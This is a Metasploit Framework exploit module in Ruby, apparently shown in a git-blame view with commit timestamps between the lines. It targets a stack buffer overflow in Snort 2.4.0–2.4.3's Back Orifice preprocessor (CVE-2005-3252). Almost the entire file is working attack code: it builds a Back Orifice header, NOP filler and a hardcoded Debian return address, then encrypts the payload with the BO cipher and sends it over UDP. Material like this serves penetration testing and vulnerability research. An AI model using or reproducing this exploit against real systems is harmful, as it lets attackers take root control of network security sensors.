2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-18 07:59:00 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-01-27 05:00:35 +00:00
|
|
|
'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the Back Orifice pre-processor module
|
2010-04-30 08:40:19 +00:00
|
|
|
included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
|
|
|
|
be used to completely compromise a Snort sensor, and would typically gain an attacker
|
|
|
|
full root or administrative privileges.
|
2006-01-27 05:00:35 +00:00
|
|
|
},
|
|
|
|
'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2006-01-27 05:00:35 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
['CVE', '2005-3252'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['OSVDB', '20034'],
|
|
|
|
['BID', '15131'],
|
2006-01-27 05:00:35 +00:00
|
|
|
['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
'Space' => 1073, #ret : 1069
|
2006-01-27 05:00:35 +00:00
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0: Debian 3.1 Sarge
|
|
|
|
[
|
|
|
|
'Debian 3.1 Sarge',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Ret' => 0xbffff350
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
# Configure the default port to be 9080
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(9080),
|
|
|
|
], self.class)
|
2005-12-18 07:59:00 +00:00
|
|
|
end
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def msrand(seed)
|
|
|
|
@holdrand = 31337
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def mrand()
|
|
|
|
return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def bocrypt(takepayload)
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
@arrpayload = (takepayload.split(//))
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
encpayload = ""
|
|
|
|
@holdrand=0
|
|
|
|
msrand(0)
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
@arrpayload.each do |c|
|
|
|
|
encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
return encpayload
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def exploit
|
|
|
|
connect_udp
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
boheader =
|
2006-01-27 05:00:35 +00:00
|
|
|
"*!*QWTY?" +
|
|
|
|
[1096].pack("V") + # Length ,thanx Russell Sanford
|
|
|
|
"\xed\xac\xef\x0d"+ # ID
|
|
|
|
"\x01" # PING
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
filler =
|
|
|
|
make_nops(1069 -(boheader.length + payload.encode.length))
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
udp_sock.write(
|
|
|
|
bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
|
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|